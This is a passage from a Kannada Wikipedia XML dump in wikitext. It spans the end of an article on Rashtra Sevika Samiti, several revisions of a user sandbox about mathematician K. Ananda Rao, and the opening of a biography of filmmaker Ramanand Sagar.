ಈ ಕಾರಣ ಸಮಿತಿಯ ಮಹಿಳಾ ಪರ ನಿಲುವುಗಳು ಮತ್ತು ಆಶಯಗಳು ಸರ್ಕಾರದ ಆದ್ಯತಾ ಪಟ್ಟಿಯಲ್ಲಿ ತಮ್ಮ ಸ್ಥಾನ ಪಡೆದಿವೆ<ref name="ಸುಶ್ಮಾ"/>. ==ವಿವಾದಗಳು== ಸಮಿತಿಯು ಪ್ರಚಾರದಿಂದ ವಿಮುಖವಾಗಿ ತನ್ನ ಕೆಲಸ ಮಾಡುತ್ತದೆ. ಆ ಕಾರಣಕ್ಕೆ ಸಾಮಾನ್ಯವಾಗಿ ವಿವಾದಗಳಿಂದ ದೂರವಾಗಿದೆ. ಆದರೂ ಕೆಲ ಸಲ '''ಮಾತೃತ್ವಕ್ಕೆ''' ಒತ್ತು ನೀಡುವ ಕಾರಣ ಆಧುನಿಕ ಸ್ತ್ರೀವಾದಿಗಳು ಎಂದು ತಮ್ಮನ್ನು ತಾವು ಗುರುತಿಸಿಕೊಳ್ಳುವ ಗುಂಪುಗಳಿಂದ '''ಪುರೋಗಾಮಿ, ಆಧುನಿಕತೆಗೆ ದೂರ''' ಎಂಬಿತ್ಯಾದಿ ಟೀಕೆಗಳಿಗೆ ಆಹಾರವಾಗಿದ್ದಿದೆ <ref name="ಎಕ್ಸ್ಪೆಸ್_ಸಮಿತಿ_ಶಿಬಿರ"/>. ಆದರೆ ಸಾಮಾನ್ಯವಾಗಿ ಸಮಿತಿಯು ಟೀಕೆಗಳಿಗೆ ಹೆಚ್ಚು ಪ್ರತಿಕ್ರಯಿಸಿ ಮಾತನ್ನು ಬೆಳೆಸುವುದಿಲ್ಲ. ==ಉಲ್ಲೇಖಗಳು== {{reflist}} ==ಹೊರಗಿನ ಸಂಪರ್ಕಗಳು== * [https://www.outlookhindi.com/story/magazine-223 ಔಟ್‍ಲುಕ್‍ನಲ್ಲಿ ಸಮಿತಿ ಪ್ರಮುಖ್ ಕಾರ್ಯವಾಹಿಕಾರ ಸಂದರ್ಶನ] * [https://www.youtube.com/watch?v=BD7jTuLYOrY ಯೂಟ್ಯೂಬಿನಲ್ಲಿ ಸಮಿತಿಯ ಶಿಕ್ಷಾ ವರ್ಗದ ಕಿರು ಮಾಹಿತಿ] <!-- #https://tarunbharat.org/?p=69826 #https://www.jagran.com/bihar/bhagalpur-rashtriya-sevika-samiti-19323103.html #https://m.dailyhunt.in/news/india/english/news+bharati-epaper-newsbhar/women+empowerment+policies+of+govt+reflect+mavshi+kelkar+s+vision+eam+sushma+swaraj-newsid-102586779 #https://www.mahamtb.com/Encyc/2017/8/20/amrutatulya-ushatai-.amp.html #https://www.majhapaper.com/2013/04/21/%E0%A4%B8%E0%A5%8D%E0%A4%A4%E0%A5%8D%E0%A4%B0%E0%A5%80%E0%A4%9A%E0%A5%87-%E0%A4%95%E0%A4%B0%E0%A5%8D%E0%A4%A4%E0%A5%83%E0%A4%A4%E0%A5%8D%E0%A4%B5%E0%A4%B5%E0%A4%BE%E0%A4%A8-%E0%A4%B8%E0%A5%8D/ #http://biographyapp.com/laxmibai-kelkar-biography/ #https://www.newsbharati.com/Encyc/2018/11/28/Women-empowerment-policies-of-govt-reflect-Mavshi-Kelkar-s-vision-EAM-Sushma-Swaraj.amp.html #https://www.voiceofhinduism.in/2019/10/What-is-Rashtra-Sevika-Samiti.html #https://www.dailymail.co.uk/indiahome/indianews/article-3953468/Rashtra-Sevika-Samiti-women-s-wing-RSS-emerges-equal-opportunity-player.html https://hssuk.org/west-vibhaag-region-mahila-shibir-birmingham/ http://hssuk-sip.blogspot.com/2012/08/my-speech-delivered-to-audience-at-ssv.html--> [[ವರ್ಗ:ಸಾಮಾಜಿಕ ಸಂಸ್ಥೆಗಳು]] euyv0u9rxufl7ashpi8i6o8l3m1ypd3 ಸದಸ್ಯ:Pavanaja/ನನ್ನ ಪ್ರಯೋಗಪುಟ2 2 127428 1116564 1109203 2022-08-24T05:08:58Z Pavanaja 5 wikitext text/x-wiki ಚೌಡಿಕೆ ಸಂಪ್ರದಾಯ ಉತ್ತರ ಕರ್ನಾಟಕದಲ್ಲಿ ಜನಪ್ರಿಯವಾಗಿದೆ. ಡಿ.ಕೆ ಚೌಟ ನಿಧನರಾದರು. ಪಿ.ವಿ. ಸಿಂಧು ವಿಶ್ವ ಬ್ಯಾಡ್ಮಿಂಟನ್ ಚಾಂಪಿಯನ್ ಆದರು.<ref>https://www.prajavani.net/sports/sports-extra/sindhu-becomes-first-indian-660492.html</ref> '''ಕೆ. ಆನಂದ ರಾವ್''' ರವರು ಭಾರತೀಯ ''ಗಣಿತಜ್ಞ'' ಮತ್ತು [[ಶ್ರೀನಿವಾಸ ರಾಮಾನುಜನ್]] ಅವರ ಸಮಕಾಲೀನರಾಗಿದ್ದರು. ಆನಂದರವರು [[ಶ್ರೀನಿವಾಸ ರಾಮಾನುಜನ್|ರಾಮಾನುಜನ್]] ರವರಿಗಿಂತ ಆರು ವರ್ಷ ಕಿರಿಯವರಾಗಿದ್ದರೂ ಕೂಡ ಅವರಿಗಿಂತ ಮೊದಲು ಗಣಿತಶಾಸ್ತ್ರವನ್ನು ವೃತ್ತಿಜೀವನವನ್ನಾಗಿ ಮುಂದುವರೆಸಲು ನಿರ್ಧರಿಸಿದ್ದರು. ಜನನ ಆನಂದರವರು ೧೮೯೩ರ ಸೆಪ್ಟೆಂಬರ್ ೨೧ರಂದು ಮದ್ರಾಸ್ ನಲ್ಲಿ ಜನಿಸಿದರು. <b>ವಿದ್ಯಾಭ್ಯಾಸ</b> ಇವರು ಮದ್ರಾಸ್ ನ ಟ್ರಿಪ್ಲಿಕೇನ್‌ನಲ್ಲಿರುವ ಹಿಂದೂ ಶಾಲೆಯಲ್ಲಿ ಪ್ರಾಥಮಿಕ ಶಿಕ್ಷಣವನ್ನು ಪಡೆದರು. ನಂತರದ ವಿದ್ಯಾಭ್ಯಾಸವನ್ನು ಮದ್ರಾಸ್ ವಿಶ್ವವಿದ್ಯಾಲಯದ ಪ್ರೆಸಿಡೆನ್ಸಿ ಕಾಲೇಜಿನಲ್ಲಿ ವ್ಯಾಸಂಗ ಮುಂದುವರಿಸಿದರು. ಇವರು ಉತ್ತಮ ಶೈಕ್ಷಣಿಕ ದಾಖಲೆಯನ್ನು ಹೊಂದಿದ್ದರು. ರಾಮಾನುಜನ್ ರವರು ಇಂಗ್ಲೆಂಡ್ ಗೆ ಪ್ರಯಾಣ ಮಾಡಿದ ಕೆಲವೆ ತಿಂಗಳುಗಳ ನಂತರ ಆನಂದರವರು ಕೂಡ ಇಂಗ್ಲೆಂಡ್ ಗೆ ಅಂದರೆ ೧೯೧೪ರಲ್ಲಿ ಪ್ರಯಾಣ ಮಾಡಿದರು.೧೯೧೬ರಲ್ಲಿ ಕೇಂಬ್ರಿಡ್ಜ್‌ನ ಕಿಂಗ್ಸ್ ಕಾಲೇಜಿನಿಂದ ಗಣಿತದ ಟ್ರಿಪೋಸ್ ಮುಗಿಸಿದ ನಂತರ ಪ್ರೆಸಿಡೆನ್ಸಿ ಕಾಲೇಜಿನ ಜಿ.ಎಚ್ ಹಾರ್ಡಿಯವರ ಪ್ರಭಾವಕ್ಕೆ ಒಳಗಾದರು. ಹಾರ್ಡಿ ಯವರು ಆನಂದರವರಿಗೆ ಸಕ್ರಿಯ ಸಂಶೋಧನೆಗೆ ಮಾರ್ಗದರ್ಶನವನ್ನು ನೀಡಿದರು. ಕೇಂಬ್ರಿಡ್ಜ್‌ನಲ್ಲಿ ಆನಂದರವರು ಮತ್ತು ರಾಮಾನುಜನ್ ರವರು ಉತ್ತಮ ಸ್ನೇಹಿತರಾದರು. ಜೊತೆಗೆ ಜಿಲ್ಲಾಧಿಕಾರಿಯಾಗಿದ್ದ ರಾಮಾನುಜನ್ ಅವರ ಸ್ನೇಹಿತರಾದ ಆರ್.ರಾಮಚಂದ್ರ ರಾವ್ ರವರು ಆನಂದರವರ ಸಂಬಂಧಿಯಾಗಿದ್ದರು. ರಾಮಚಂದ್ರ ರಾವ್, ರಾಮಾನುಜನ್ ಅವರ ಸಂಶೋಧನೆಯಲ್ಲಿನ ಆಸಕ್ತಿ ನೋಡಿ ಮಾರ್ಗದರ್ಶನ ನೀಡುವ ಜವಾಬ್ದಾರಿಯನ್ನು ಹೊಂದಿದ್ದರು ಮತ್ತು ಹಣಕಾಸಿನ ನೆರವು ನೀಡಿದರು. ಅವರ ದೈನಂದಿನ ಅಗತ್ಯಗಳನ್ನು ನೋಡಿಕೊಂಡರು ಮತ್ತು ಅವರಿಗೆ ಮದ್ರಾಸ್ ಪೋರ್ಟ್ ಟ್ರಸ್ಟ್‌ನಲ್ಲಿ ಗುಮಾಸ್ತರ ಕೆಲಸವು ಸಿಕ್ಕಿತು. ರಾಮಚಂದ್ರ ರಾವ್ ರವರ ಸಂಬಂಧದಿಂದಾಗಿ ಆನಂದರವರಿಗೆ ರಾಮಾನುಜನ್ ರವರ ಪರಿಚಯವಾಯಿತು. ==ಉಲ್ಲೇಖ== <References /> enkv6j1cagp1krx2b9u73aoqhlyvj6i 1116565 1116564 2022-08-24T05:10:46Z Pavanaja 5 wikitext text/x-wiki ಚೌಡಿಕೆ ಸಂಪ್ರದಾಯ ಉತ್ತರ ಕರ್ನಾಟಕದಲ್ಲಿ ಜನಪ್ರಿಯವಾಗಿದೆ. ಡಿ.ಕೆ ಚೌಟ ನಿಧನರಾದರು.<ref>https://vijaykarnataka.com/news/karnataka/renowned-theatrist-artist-agriculturist-d-k-chowta-passes-away/articleshow/69854747.cms</ref> ಪಿ.ವಿ. ಸಿಂಧು ವಿಶ್ವ ಬ್ಯಾಡ್ಮಿಂಟನ್ ಚಾಂಪಿಯನ್ ಆದರು.<ref>https://www.prajavani.net/sports/sports-extra/sindhu-becomes-first-indian-660492.html</ref> '''ಕೆ. ಆನಂದ ರಾವ್''' ರವರು ಭಾರತೀಯ ''ಗಣಿತಜ್ಞ'' ಮತ್ತು [[ಶ್ರೀನಿವಾಸ ರಾಮಾನುಜನ್]] ಅವರ ಸಮಕಾಲೀನರಾಗಿದ್ದರು. ಆನಂದರವರು [[ಶ್ರೀನಿವಾಸ ರಾಮಾನುಜನ್|ರಾಮಾನುಜನ್]] ರವರಿಗಿಂತ ಆರು ವರ್ಷ ಕಿರಿಯವರಾಗಿದ್ದರೂ ಕೂಡ ಅವರಿಗಿಂತ ಮೊದಲು ಗಣಿತಶಾಸ್ತ್ರವನ್ನು ವೃತ್ತಿಜೀವನವನ್ನಾಗಿ ಮುಂದುವರೆಸಲು ನಿರ್ಧರಿಸಿದ್ದರು. ಜನನ ಆನಂದರವರು ೧೮೯೩ರ ಸೆಪ್ಟೆಂಬರ್ ೨೧ರಂದು ಮದ್ರಾಸ್ ನಲ್ಲಿ ಜನಿಸಿದರು. <b>ವಿದ್ಯಾಭ್ಯಾಸ</b> ಇವರು ಮದ್ರಾಸ್ ನ ಟ್ರಿಪ್ಲಿಕೇನ್‌ನಲ್ಲಿರುವ ಹಿಂದೂ ಶಾಲೆಯಲ್ಲಿ ಪ್ರಾಥಮಿಕ ಶಿಕ್ಷಣವನ್ನು ಪಡೆದರು. ನಂತರದ ವಿದ್ಯಾಭ್ಯಾಸವನ್ನು ಮದ್ರಾಸ್ ವಿಶ್ವವಿದ್ಯಾಲಯದ ಪ್ರೆಸಿಡೆನ್ಸಿ ಕಾಲೇಜಿನಲ್ಲಿ ವ್ಯಾಸಂಗ ಮುಂದುವರಿಸಿದರು. ಇವರು ಉತ್ತಮ ಶೈಕ್ಷಣಿಕ ದಾಖಲೆಯನ್ನು ಹೊಂದಿದ್ದರು. ರಾಮಾನುಜನ್ ರವರು ಇಂಗ್ಲೆಂಡ್ ಗೆ ಪ್ರಯಾಣ ಮಾಡಿದ ಕೆಲವೆ ತಿಂಗಳುಗಳ ನಂತರ ಆನಂದರವರು ಕೂಡ ಇಂಗ್ಲೆಂಡ್ ಗೆ ಅಂದರೆ ೧೯೧೪ರಲ್ಲಿ ಪ್ರಯಾಣ ಮಾಡಿದರು.೧೯೧೬ರಲ್ಲಿ ಕೇಂಬ್ರಿಡ್ಜ್‌ನ ಕಿಂಗ್ಸ್ ಕಾಲೇಜಿನಿಂದ ಗಣಿತದ ಟ್ರಿಪೋಸ್ ಮುಗಿಸಿದ ನಂತರ ಪ್ರೆಸಿಡೆನ್ಸಿ ಕಾಲೇಜಿನ ಜಿ.ಎಚ್ ಹಾರ್ಡಿಯವರ ಪ್ರಭಾವಕ್ಕೆ ಒಳಗಾದರು. ಹಾರ್ಡಿ ಯವರು ಆನಂದರವರಿಗೆ ಸಕ್ರಿಯ ಸಂಶೋಧನೆಗೆ ಮಾರ್ಗದರ್ಶನವನ್ನು ನೀಡಿದರು. ಕೇಂಬ್ರಿಡ್ಜ್‌ನಲ್ಲಿ ಆನಂದರವರು ಮತ್ತು ರಾಮಾನುಜನ್ ರವರು ಉತ್ತಮ ಸ್ನೇಹಿತರಾದರು. ಜೊತೆಗೆ ಜಿಲ್ಲಾಧಿಕಾರಿಯಾಗಿದ್ದ ರಾಮಾನುಜನ್ ಅವರ ಸ್ನೇಹಿತರಾದ ಆರ್.ರಾಮಚಂದ್ರ ರಾವ್ ರವರು ಆನಂದರವರ ಸಂಬಂಧಿಯಾಗಿದ್ದರು. ರಾಮಚಂದ್ರ ರಾವ್, ರಾಮಾನುಜನ್ ಅವರ ಸಂಶೋಧನೆಯಲ್ಲಿನ ಆಸಕ್ತಿ ನೋಡಿ ಮಾರ್ಗದರ್ಶನ ನೀಡುವ ಜವಾಬ್ದಾರಿಯನ್ನು ಹೊಂದಿದ್ದರು ಮತ್ತು ಹಣಕಾಸಿನ ನೆರವು ನೀಡಿದರು. ಅವರ ದೈನಂದಿನ ಅಗತ್ಯಗಳನ್ನು ನೋಡಿಕೊಂಡರು ಮತ್ತು ಅವರಿಗೆ ಮದ್ರಾಸ್ ಪೋರ್ಟ್ ಟ್ರಸ್ಟ್‌ನಲ್ಲಿ ಗುಮಾಸ್ತರ ಕೆಲಸವು ಸಿಕ್ಕಿತು. ರಾಮಚಂದ್ರ ರಾವ್ ರವರ ಸಂಬಂಧದಿಂದಾಗಿ ಆನಂದರವರಿಗೆ ರಾಮಾನುಜನ್ ರವರ ಪರಿಚಯವಾಯಿತು. ==ಉಲ್ಲೇಖ== <References /> jxmnd180uv2u0rwolkhrdoy3h0o9iod 1116566 1116565 2022-08-24T05:15:03Z Pavanaja 5 wikitext text/x-wiki ಚೌಡಿಕೆ ಸಂಪ್ರದಾಯ ಉತ್ತರ ಕರ್ನಾಟಕದಲ್ಲಿ ಜನಪ್ರಿಯವಾಗಿದೆ.<ref>ಸಂ: ಹಿ.ಶಿ., ಬೋರಲಿಂಗಯ್ಯ. ಕರ್ನಾಟಕ ಜನಪದ ಕಲೆಗಳ ಕೋಶ (2 ed.). ಕನ್ನಡ ವಿ.ವಿ. ಹಂಪಿ. p. 99</ref> ಡಿ.ಕೆ ಚೌಟ ನಿಧನರಾದರು.<ref>https://vijaykarnataka.com/news/karnataka/renowned-theatrist-artist-agriculturist-d-k-chowta-passes-away/articleshow/69854747.cms</ref> ಪಿ.ವಿ. ಸಿಂಧು ವಿಶ್ವ ಬ್ಯಾಡ್ಮಿಂಟನ್ ಚಾಂಪಿಯನ್ ಆದರು.<ref>https://www.prajavani.net/sports/sports-extra/sindhu-becomes-first-indian-660492.html</ref> '''ಕೆ. ಆನಂದ ರಾವ್''' ರವರು ಭಾರತೀಯ ''ಗಣಿತಜ್ಞ'' ಮತ್ತು [[ಶ್ರೀನಿವಾಸ ರಾಮಾನುಜನ್]] ಅವರ ಸಮಕಾಲೀನರಾಗಿದ್ದರು. ಆನಂದರವರು [[ಶ್ರೀನಿವಾಸ ರಾಮಾನುಜನ್|ರಾಮಾನುಜನ್]] ರವರಿಗಿಂತ ಆರು ವರ್ಷ ಕಿರಿಯವರಾಗಿದ್ದರೂ ಕೂಡ ಅವರಿಗಿಂತ ಮೊದಲು ಗಣಿತಶಾಸ್ತ್ರವನ್ನು ವೃತ್ತಿಜೀವನವನ್ನಾಗಿ ಮುಂದುವರೆಸಲು ನಿರ್ಧರಿಸಿದ್ದರು. ಜನನ ಆನಂದರವರು ೧೮೯೩ರ ಸೆಪ್ಟೆಂಬರ್ ೨೧ರಂದು ಮದ್ರಾಸ್ ನಲ್ಲಿ ಜನಿಸಿದರು. <b>ವಿದ್ಯಾಭ್ಯಾಸ</b> ಇವರು ಮದ್ರಾಸ್ ನ ಟ್ರಿಪ್ಲಿಕೇನ್‌ನಲ್ಲಿರುವ ಹಿಂದೂ ಶಾಲೆಯಲ್ಲಿ ಪ್ರಾಥಮಿಕ ಶಿಕ್ಷಣವನ್ನು ಪಡೆದರು. ನಂತರದ ವಿದ್ಯಾಭ್ಯಾಸವನ್ನು ಮದ್ರಾಸ್ ವಿಶ್ವವಿದ್ಯಾಲಯದ ಪ್ರೆಸಿಡೆನ್ಸಿ ಕಾಲೇಜಿನಲ್ಲಿ ವ್ಯಾಸಂಗ ಮುಂದುವರಿಸಿದರು. ಇವರು ಉತ್ತಮ ಶೈಕ್ಷಣಿಕ ದಾಖಲೆಯನ್ನು ಹೊಂದಿದ್ದರು. ರಾಮಾನುಜನ್ ರವರು ಇಂಗ್ಲೆಂಡ್ ಗೆ ಪ್ರಯಾಣ ಮಾಡಿದ ಕೆಲವೆ ತಿಂಗಳುಗಳ ನಂತರ ಆನಂದರವರು ಕೂಡ ಇಂಗ್ಲೆಂಡ್ ಗೆ ಅಂದರೆ ೧೯೧೪ರಲ್ಲಿ ಪ್ರಯಾಣ ಮಾಡಿದರು.೧೯೧೬ರಲ್ಲಿ ಕೇಂಬ್ರಿಡ್ಜ್‌ನ ಕಿಂಗ್ಸ್ ಕಾಲೇಜಿನಿಂದ ಗಣಿತದ ಟ್ರಿಪೋಸ್ ಮುಗಿಸಿದ ನಂತರ ಪ್ರೆಸಿಡೆನ್ಸಿ ಕಾಲೇಜಿನ ಜಿ.ಎಚ್ ಹಾರ್ಡಿಯವರ ಪ್ರಭಾವಕ್ಕೆ ಒಳಗಾದರು. ಹಾರ್ಡಿ ಯವರು ಆನಂದರವರಿಗೆ ಸಕ್ರಿಯ ಸಂಶೋಧನೆಗೆ ಮಾರ್ಗದರ್ಶನವನ್ನು ನೀಡಿದರು. ಕೇಂಬ್ರಿಡ್ಜ್‌ನಲ್ಲಿ ಆನಂದರವರು ಮತ್ತು ರಾಮಾನುಜನ್ ರವರು ಉತ್ತಮ ಸ್ನೇಹಿತರಾದರು. ಜೊತೆಗೆ ಜಿಲ್ಲಾಧಿಕಾರಿಯಾಗಿದ್ದ ರಾಮಾನುಜನ್ ಅವರ ಸ್ನೇಹಿತರಾದ ಆರ್.ರಾಮಚಂದ್ರ ರಾವ್ ರವರು ಆನಂದರವರ ಸಂಬಂಧಿಯಾಗಿದ್ದರು. ರಾಮಚಂದ್ರ ರಾವ್, ರಾಮಾನುಜನ್ ಅವರ ಸಂಶೋಧನೆಯಲ್ಲಿನ ಆಸಕ್ತಿ ನೋಡಿ ಮಾರ್ಗದರ್ಶನ ನೀಡುವ ಜವಾಬ್ದಾರಿಯನ್ನು ಹೊಂದಿದ್ದರು ಮತ್ತು ಹಣಕಾಸಿನ ನೆರವು ನೀಡಿದರು. ಅವರ ದೈನಂದಿನ ಅಗತ್ಯಗಳನ್ನು ನೋಡಿಕೊಂಡರು ಮತ್ತು ಅವರಿಗೆ ಮದ್ರಾಸ್ ಪೋರ್ಟ್ ಟ್ರಸ್ಟ್‌ನಲ್ಲಿ ಗುಮಾಸ್ತರ ಕೆಲಸವು ಸಿಕ್ಕಿತು. ರಾಮಚಂದ್ರ ರಾವ್ ರವರ ಸಂಬಂಧದಿಂದಾಗಿ ಆನಂದರವರಿಗೆ ರಾಮಾನುಜನ್ ರವರ ಪರಿಚಯವಾಯಿತು. ==ಉಲ್ಲೇಖ== <References /> 0j3qbppwqhp7sbab0wwf817f5jwzyl9 ರಾಮಾನಂದ ಸಾಗರ 0 127728 1116403 1065079 2022-08-23T12:01:40Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox person | name = ರಾಮಾನಂದ ಸಾಗರ | image = Ramanand Saagar.jpg | image_size = 240 px | caption = | birth_name = ಚಂದ್ರಮೌಳಿ ಚೋಪ್ರ | birth_date = {{Birth date|df=yes|1917|12|29}} | birth_place = [[ಲಾಹೋರ್]], [[ಪಂಜಾಬ್ ಪಾಕಿಸ್ತಾನ]], [[:en:Presidencies and provinces of British India|ಬ್ರಿಟಿಷ್ ಭಾರತ]]<br> (ಈಗ [[ಪಾಕಿಸ್ತಾನ]]) | death_date = {{Death date and age|df=yes|2005|12|12|1917|12|29}} | death_place = [[ಮುಂಬೈ]], [[ಮಹಾರಾಷ್ಟ್ರ]], [[ಭಾರತ]] | other names = ರಾಮಾನಂದ ಚೋಪ್ರ<br>ರಾಮಾನಂದ ಬೇಡಿ<br>ರಾಮಾನಂದ ಕಶ್ಮೀರಿ | years_active = | spouse = ಲೀಲಾವತಿ | occupation = ಚಿತ್ರ ನಿರ್ಮಾಪಕ, ನಿರ್ದೇಶಕ, ಲೇಖಕ | children = ಆನಂದ ಸಾಗರ, ಪ್ರೇಮ ಸಾಗರ, ಮೋತಿ ಸಾಗರ, ಸುಭಾಷ ಸಾಗರ, ನೀಲಂ ಸಾಗರ | honours = [[ಪದ್ಮ ಶ್ರೀ]] (೨೦೦೦) }} '''ರಾಮಾನಂದ ಸಾಗರ''' ([[ಹಿಂದಿ ಭಾಷೆ|ಹಿಂದಿ]] रामानन्द सागर) (೨೯ ಡಿಸೆಂಬರ್ ೧೯೧೭ - ೧೨ ಡಿಸೆಂಬರ್ ೨೦೦೫) (ಜನ್ಮನಾಮ ಚಂದ್ರಮೌಳಿ ಚೋಪ್ರ) ಒಬ್ಬ ಭಾರತೀಯ ಚಿತ್ರ ನಿರ್ಮಾಪಕ, ನಿರ್ದೇಶಕ. ೧೯೮೭-೮೮ರಲ್ಲಿ [[ದೂರದರ್ಶನ]]ದಲ್ಲಿ ಪ್ರಸಾರವಾಗಿದ್ದ [[ರಾಮಾಯಣ (1987 ಟಿವಿ ಸರಣಿ)|ರಾಮಾಯಣ ಧಾರಾವಾಹಿ]]ಯ ನಿರ್ಮಾಪಕರಾಗಿ ಹೆಚ್ಚು ಪ್ರಸಿದ್ದರು<ref>{{cite web |last1= |first1= |title=ರಾಮಾನಂದ ಸಾಗರ |url=https://www.britannica.com/biography/Ramanand-Sagar |website=www.britannica.com |publisher=britannica |accessdate=10 May 2020 |archive-date=24 ಅಕ್ಟೋಬರ್ 2020 |archive-url=https://web.archive.org/web/20201024134235/https://www.britannica.com/biography/Ramanand-Sagar |url-status=dead }}</ref>. ಈ ಧಾರಾವಾಹಿಯಲ್ಲಿ ಭಗವಾನ್ [[ರಾಮ|ರಾಮನಾಗಿ]] [[:en:Arun Govil | ಅರುಣ್ ಗೋವಿಲ್]], [[ಸೀತೆ|ಸೀತೆಯಾಗಿ]] [[:en:Deepika Chikalia | ದೀಪಿಕಾ ಚಿಕಾಲಿಯಾ]] ಮನೆಮಾತಾದರು. ಈ ಧಾರಾವಾಹಿಯು ದೇಶದ ಉದ್ದಗಲಕ್ಕೂ ವೀಕ್ಷಿಸಲ್ಪಡುತ್ತಿತ್ತು. [[ಭಾರತ ಸರ್ಕಾರ]]ವು ಅವರಿಗೆ ೨೦೦೦ನೇ ಇಸವಿಯಲ್ಲಿ [[ಪದ್ಮಶ್ರೀ]] [[:en:List of Padma Shri award recipients (2000–2009)|ಪುರಸ್ಕಾರ]] ಕೊಟ್ಟು ಗೌರವಿಸಿತು. ==ಬಾಲ್ಯ ಮತ್ತು ಪ್ರಾರಂಭದ ದಿನಗಳು== ಅವರು [[ಲಾಹೋರ್|ಲಾಹೋರಿನ]] ಸನಿಹದಲ್ಲಿರಯ '''ಅಸಲ್ ಗುರು''' ಎಂಬ ಊರಿನಲ್ಲಿ ಜನಿಸಿದರು. ಅವರ ಮುತ್ತಜ್ಜ ಲಾಲಾ ಶಂಕರ್ ದಾಸ್ ಚೋಪ್ರ [[ಕಾಶ್ಮೀರ]]ದಿಂದ ಲಾಹೋರಿಗೆ ವಲಸೆ ಬಂದಿದ್ದರು. ಅವರ ತಾಯಿಯ ತಾಯಿಗೆ ಗಂಡು ಮಕ್ಕಳಿಲ್ಲದ ಕಾರಣ ಬಾಲಕ ಚಂದ್ರಮೌಳಿ ಚೋಪ್ರನನ್ನು ಅವರು ದತ್ತು ತೆಗೆದುಕೊಂಡರು. ಆಗ ಅವರ ಹೆಸರನ್ನು ಚಂದ್ರಮೌಳಿ ಚೋಪ್ರರಿಂದ '''ರಾಮಾನಂದ ಸಾಗರ''' ಎಂದು ಬದಲಾಯಿಸಲಾಯಿತು. ಅವರ ತಾಯಿ ಮಗನ ನೆನಪಿನಲ್ಲಿ ಆರೋಗ್ಯ ಕೆಡೆಸಿಕೊಂಡು ತಮ್ಮ ೨೬ನೇ ವಯಸ್ಸಿಗೆ ತೀರಿಹೋದರು. ಸಾಗರರೂ ಕೂಡಾ ತಮ್ಮ ತಂದೆ-ತಾಯಿಯ ಪ್ರೀತಿಯಿಂದ ವಂಚಿತರಾದೆನೆಂದು ಹಲವು ಸಲ ಅಲವತ್ತುಕೊಂಡಿದ್ದಾರೆ. <ref name="dnasagar">{{cite web |title=ರಾಮಾನಂದ ಸಾಗರ ಇನ್ನಿಲ್ಲ |url=https://www.dnaindia.com/mumbai/report-ramanand-sagar-is-dead-1001902 |website=www.dnaindia.com |publisher=dnaindia | accessdate=2020-05-11 |archive-url=https://web.archive.org/web/20170309221349/https://www.dnaindia.com/mumbai/report-ramanand-sagar-is-dead-1001902 | archive-date=2017-03-09}}</ref> ಅವರ ತಾಯಿಯ ನಿಧನದ ನಂತರ ಅವರ ತಂದೆ ಮರು ಮದುವೆಯಾದರು ಮತ್ತು ಅವರಿಗೆ ಮಕ್ಕಳಾದರು. ಅವರಲ್ಲಿ ಒಬ್ಬ ಮಗ ಹಿಂದಿಯ ನಿರ್ಮಾಪಕ, ನಿರ್ದೇಶಕ [[:en:Vidhu Vinod Chopra| ವಿಧು ವಿನೋದ್ ಚೋಪ್ರಾ]], ಹಾಗಾಗಿ ಮಲತಮ್ಮನೂ ಹೌದು <ref>{{cite web |title=ರಾಮಾನಂದ ಸಾಗರರ ಮಲತಮ್ಮ |url=https://timesofindia.indiatimes.com/entertainment/hindi/bollywood/news/In-Bollywood-everyones-related/articleshow/4654411.cms |website=timesofindia.indiatimes.com |publisher=timesofindia.indiatimes| accessdate=2020-05-11 |archive-url=https://web.archive.org/web/20191029083215/https://timesofindia.indiatimes.com/entertainment/hindi/bollywood/news/In-Bollywood-everyones-related/articleshow/4654411.cms | archive-date=2020-05-11}}</ref> ರಾಮಾನಂದ ಸಾಗರರು ಜೀವನದಲ್ಲಿ ಆದರ್ಶವಾದಿಯಾಗಿದ್ದರು. ತಮ್ಮ ಮಲತಾಯಿಯು ತಮ್ಮ ಮದುವೆಗೆ ವರದಕ್ಷಿಣೆ ಕೇಳಿದಾಗ, ಅದನ್ನು ವಿರೋಧಿಸಿದರು. ಆಗ ಅವರನ್ನು ಮನೆಯಿಂದ ಹೊರಹಾಕಲಾಯಿತು<ref name="TullyRamayan1">{{cite book |last1=Tully |first1=Mark |title=NO FULL STOPS in INDIA |date=1991 |publisher=Penguin Books |location=The Rewriting of the Ramayan |isbn=9780140104806 |page=134}}</ref>. ತಮ್ಮ ಜೀವನ ನಿರ್ವಹಣೆಗಾಗಿ ಸಾಗರರು ಜವಾನನಾಗಿ, ಟ್ರಕ್ ಕ್ಲೀನರ ಆಗಿ, ಸೋಪ್ ಮಾರಿ, ಅಕ್ಕಸಾಲಿಗನಲ್ಲಿ ಕೆಲಸ ಕಲಿತು ಹೀಗೆ ಹಲವು ವಿಭಿನ್ನ ವೃತ್ತಿಗಳನ್ನು ಮಾಡಿದರು. <ref name="TullyRamayan1"/> ಬೆಳಗ್ಗೆ ದುಡಿದು, ರಾತ್ರಿ ಓದಿ ಪದವಿ ಪಡೆದರು. [[:en:University of the Punjab|ಪಂಜಾಬ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ]]ದಿಂದ [[ಸಂಸ್ಕೃತ]]ದಲ್ಲಿ ---ಚಿನ್ನದ ಪದಕ--- ಮತ್ತು [[ಪಾರ್ಸಿ ಭಾಷೆ|ಫಾರಸಿ]]ಯಲ್ಲಿ ---ಮುನ್ಷಿ ಫಜಲ್--- ಪದವಿಯೊಂದಿಗೆ ತೇರ್ಗಡೆಗೊಂಡರು <ref name="dnasagar"/> ಲಾಹೋರಿನ ಪತ್ರಿಕೆಯಾದ ಡೈಲಿ ಮಿಲಾಪ್ ಪತ್ರಿಕೆಯ ಸಂಪಾದಕರಾಗಿದ್ದರು. ಅವರು ಹಲವು ಸಣ್ಣ ಕಥೆ, ಕವಿತೆ, ನಾಟಕ, ಕಾದಂಬರಿ ಮುಂತಾದವುಗಳನ್ನು ರಾಮಾನಂದ ಚೋಪ್ರ, ರಾಮಾನಂದ ಬೇಡಿ, ರಾಮಾನಂದ ಕಶ್ಮೀರಿ ಎಂಬೆಲ್ಲಾ ಹೆಸರುಗಳಿಂದ ಪ್ರಕಾಶಿಸುತ್ತಿದ್ದರು. ೧೯೪೨ರಲ್ಲಿ ಅವರಿಗೆ ಕ್ಷಯ ರೋಗ ಬಂದು ಕಾಶ್ಮೀರದಲ್ಲಿ ೧ ವರ್ಷಕಾಲ ಚಿಕಿತ್ಸೆ ಪಡೆದರು. ಆಗ ಅವರು 